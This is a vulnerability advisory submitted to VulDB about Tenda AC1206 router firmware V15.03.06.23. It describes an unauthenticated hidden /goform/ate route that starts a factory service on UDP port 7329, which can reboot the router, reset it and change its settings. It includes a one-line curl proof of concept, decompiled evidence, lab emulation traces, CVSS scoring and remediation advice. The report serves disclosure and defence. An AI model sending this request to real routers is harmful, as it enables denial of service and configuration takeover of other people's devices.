| Title | Tenda AC1206 V1.0 RTL / F1203-class web UI V15.03.06.23 Missing Authentication for Critical Function&Exposed Dangerous M |
|---|
| Description | ## Summary
Tenda `US_AC1206V1.0RTL_V15.03.06.23_multi_TD01` firmware and F1203-class variant `3776a3c70e0693ffb7c3b7a32aa9379536da1d84.zip` expose a hidden web form route, `/goform/ate`, that is reachable without a Cookie/session when the device is in the factory-default empty-password state. Hitting the route invokes `TendaAte`, which starts `InitMfgTask` and returns `load mfg success.`.
`InitMfgTask` creates ATE/manufacturing threads. The ATE socket code opens a UDP socket and binds it to port `0x1ca1` (`7329`) on all interfaces. The command table includes factory operations such as reboot, factory default, NVRAM set/get, `iwpriv`, and `ifconfig`.
## Affected target
- Vendor: Tenda
- Product: AC1206 V1.0 RTL / F1203-class web UI
- Confirmed affected firmware variants:
1. `US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.zip`
- Firmware SHA256: `b12aeaad77108fd856a62a943b3d5ae5d137f7f22b43d45c9671f929f4c3a352`
- `/bin/httpd` SHA256: `5c6330ab898620f25009d1dc5fa4046e2ca7c3beacf3cdbbf9b12a4e028b5661`
2. `3776a3c70e0693ffb7c3b7a32aa9379536da1d84.zip`
- Firmware SHA256: `9ae57c968a075246876dc45c4ce3e5c75bc477899932187d169edfec3549354a`
- `/bin/httpd` SHA256: `1f0ba15df83d20398218d7013c7106abab693ac740aa1c52db2c305365d1e04f`
- Version string in both `httpd` binaries: `V15.03.06.23`
- Binary: `/bin/httpd`
- Architecture: MIPS32 little-endian uClibc, not stripped, with debug info
## Vulnerability class
- CWE-306: Missing Authentication for Critical Function
- CWE-749: Exposed Dangerous Method or Function
- Type: Hidden manufacturing/debug interface enablement in factory-default empty-password state
- Status: Confirmed
- Authentication: Unauthenticated when no admin password is configured
## Proof of concept
```sh
curl -i --path-as-is http://<router>/goform/ate
```
Expected response:
```text
load mfg success.
```
Expected backend effect:
```text
InitMfgTask()
pthread_create(..., ate_main_handle, ...)
pthread_create(..., mfg_button_thread, ...)
socket(AF_INET, SOCK_DGRAM, 0)
bind(x.x.x.x:7329)
```
## Key evidence
### Route registration
`formDefineTendDa` registers the route directly:
```text
name=ate -> TendaAte
```
Evidence file:
```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/formDefineTendDa.registrations.txt
```
### Authentication boundary
`R7WebsSecurityHandler` contains explicit comparisons for `/goform/telnet` and `/goform/ate` before normal Cookie/password handling. In the factory-default empty-password state, these paths reach the form handler without requiring a `password=` Cookie.
Evidence file:
```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/R7WebsSecurityHandler.annotated.txt
```
### Manufacturing service start
`TendaAte` invokes `InitMfgTask` and returns a success body:
```text
CALL InitMfgTask
websWrite('load mfg success.')
```
Evidence files:
```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/TendaAte.annotated.txt
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/InitMfgTask.annotated.txt
```
`ate_scoket_create` creates a UDP socket and binds port `0x1ca1`:
```text
socket(AF_INET, SOCK_DGRAM, 0)
htons(0x1ca1)
bind(...)
```
Evidence file:
```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/ate_scoket_create.annotated.txt
```
### Exposed ATE command surface
The decoded `g_ate_cmds` command table contains factory and configuration operations:
```text
Tenda_mfg reboot -> ate_Tenda_mfg_reboot
Tenda_mfg default -> ate_Tenda_mfg_default
nvram set -> ate_rtl_set_hw_wlan
nvram get -> ate_rtl_get_hw_wlan
iwpriv -> ate_iwpriv_set
ifconfig -> ate_ifconfig_set
```
Evidence file:
```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/g_ate_cmds_struct52.txt
```
Dangerous examples from command handlers:
```text
ate_Tenda_mfg_reboot -> doSystemCmd('sleep 2 && reboot &')
ate_Tenda_mfg_default -> doSystemCmd('cfm Restore'); doSystemCmd('sleep 2 && reboot &')
```
Evidence files:
```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/ate_Tenda_mfg_reboot.annotated.txt
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/ate_Tenda_mfg_default.annotated.txt
```
### Dynamic validation
The firmware `httpd` was executed inside the existing `firmrec-idirect` Docker container under QEMU/chroot. The test binary was patched only to bypass hardware/CFM boot blockers and bind the lab instance to `127.0.0.1`; authentication and form handlers were not patched.
Dynamic HTTP proof:
```text
GET /goform/ate HTTP/1.1
Host: 127.0.0.1
load mfg success.
```
QEMU trace confirms that the HTTP request starts the ATE path and opens UDP port 7329:
```text
clone(... ate_main_handle ...) = <thread>
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)
bind(... x.x.x.x:7329 ...)
send(..., 'load mfg success.', 17, ...)
```
The container observed the UDP listener:
```text
/proc/net/udp: 00000000:1CA1
```
Dynamic evidence files:
```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/dynamic/apmib_bypass_test/httpd_patched5_strace.out
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/dynamic/apmib_bypass_test/curl7_ate_strace.stderr
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/dynamic/apmib_bypass_test/curl7_ate_strace.body
```
### Additional affected firmware variant validation
The same `/goform/ate` issue was independently confirmed on firmware variant `3776a3c70e0693ffb7c3b7a32aa9379536da1d84.zip` (`httpd` SHA256 `1f0ba15df83d20398218d7013c7106abab693ac740aa1c52db2c305365d1e04f`). The runtime copy was patched only for hardware/CFM boot blockers and lab bind address; authentication and form handlers were not patched.
Dynamic HTTP proof for the variant:
```text
GET /goform/ate HTTP/1.1
Host: 127.0.0.1
load mfg success.
```
QEMU syscall trace and container state for the variant confirm ATE startup and UDP/7329 bind:
```text
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)
bind(... x.x.x.x:7329 ...)
send(..., 'load mfg success.', 17, ...)
/proc/net/udp: 00000000:1CA1
```
```text
```
## Impact
An attacker on the management/LAN network can start a factory/manufacturing service before web-admin password setup. The service exposes commands that can reboot the device, restore factory defaults, manipulate NVRAM, and alter wireless/network settings. This can cause denial of service, configuration compromise, or further device compromise depending on deployment defaults.
## Severity
CVSS 3.1: `CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` ? 8.8 High
Rationale: LAN-adjacent attack vector, no privileges, no user interaction, hidden debug/manufacturing interface with high-impact operations. If the affected deployment exposes the web UI beyond LAN, severity becomes network-equivalent critical.
## Remediation
- Remove `/goform/ate` and manufacturing handlers from production firmware.
- If factory functions must exist, gate them behind physical-button state, signed challenge/response, and authenticated admin session.
- Ensure first-run/empty-password states do not expose hidden service-control or manufacturing endpoints.
- Add negative tests for `/goform/ate`, UDP/7329, and ATE commands in release QA. |
|---|
| Source | ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TENDA-AC1206-ATE-DEFAULT-UNAUTH-002-vulndb.md |
|---|
| User | ST4R0003 (UID 99608) |
|---|
| Submission | 07/17/2026 19:08 (1 month ago) |
|---|
| Moderation | 08/30/2026 19:42 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 397182 [Tenda AC1206 15.03.06.23 Web UI /goform/ate R7WebsSecurityHandler missing authentication] |
|---|
| Points | 20 |
|---|